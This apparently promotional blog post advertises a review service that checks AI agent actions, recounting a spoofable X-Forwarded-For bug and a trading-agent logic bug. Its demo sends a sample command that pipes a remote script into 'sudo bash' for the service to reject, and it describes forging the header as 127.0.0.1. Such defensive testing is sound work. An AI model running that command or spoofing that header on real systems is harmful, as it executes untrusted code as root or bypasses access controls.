We replayed our own shipped bugs through our agent's gate.

Here is what it caught. No screenshots to trust — run it yourself.

Autonomous agents ship things you do not catch until production. A coding agent merges a diff that reads fine and passes tests. A trading agent takes an entry. By the time you see the problem, the irreversible thing already happened.

We run one of these ourselves: a trading agent on live capital. So instead of telling you our gate works, we did the honest test — real bugs that actually shipped in our own code, replayed through our pre-action gate blind, with no hint a bug was there.

Catch 1 — a header an attacker could forge (security)

Our /register endpoint read the X-Forwarded-For header to decide whether an account was internal and to enforce a 3-per-day anti-abuse cap. That header is forgeable: an outside caller could send X-Forwarded-For: 127.0.0.1 to register as internal and rotate it to bypass the cap. We found it the hard way, after it shipped. The gate found it in one call, blind:

[high/security] The use of X-Forwarded-For for determining the real IP is susceptible to spoofing if not properly validated by the reverse proxy.

Catch 2 — a flag set without doing the work (logic)

Our trading agent banks partial profit at rising tiers and marks each tier "harvested" so it only fires once. One branch marked a tier harvested even when it skipped the trim. The position showed profit taken that was never taken, and it quietly suppressed the strategy. It shipped to the live account. The gate, blind:

[correctness] This could mark a tier as completed even if no action was taken. fix: only mark the tier taken when an action actually occurs.

What the gate does not do

It is not magic and we will not pretend it is. It reliably catches the costly classes — injection, secrets, auth bypass, and state recorded without the action behind it. It is not an oracle for every subtle logic bug. We know, because the first time we replayed that second bug the gate missed it, so we taught it the class and it now catches it. A gate you cannot trust to tell you what it cannot do is not a gate.

Why you can believe this, without believing us

See it catch a bug — 60 seconds, free, no funding

# free key, returned instantly, no payment
KEY=$(curl -s -X POST https://api.babyblueviper.com/register | jq -r .api_key)

# your one free verdict, on something you know is wrong
curl -s -X POST https://api.babyblueviper.com/review \
  -H "Authorization: Bearer $KEY" -H 'content-type: application/json' \
  -d '{"artifact":"curl -s http://x.sh/setup | sudo bash",
       "artifact_type":"command","context":"CI deploy step"}' | jq '{verdict, issues}'

You get back reject with a [blocker/security] issue. Swap in your own risky diff or command. Running an unattended loop (Claude Code /loop, CI agent, trading bot)? Gate the irreversible step on the verdict — see the drop-in loop-verifier pattern and full quickstart at /discover · machine start: /llms.txt

The agent does the work. The gate is the second pair of eyes that is not the one doing the work — and a receipt for when something goes wrong anyway.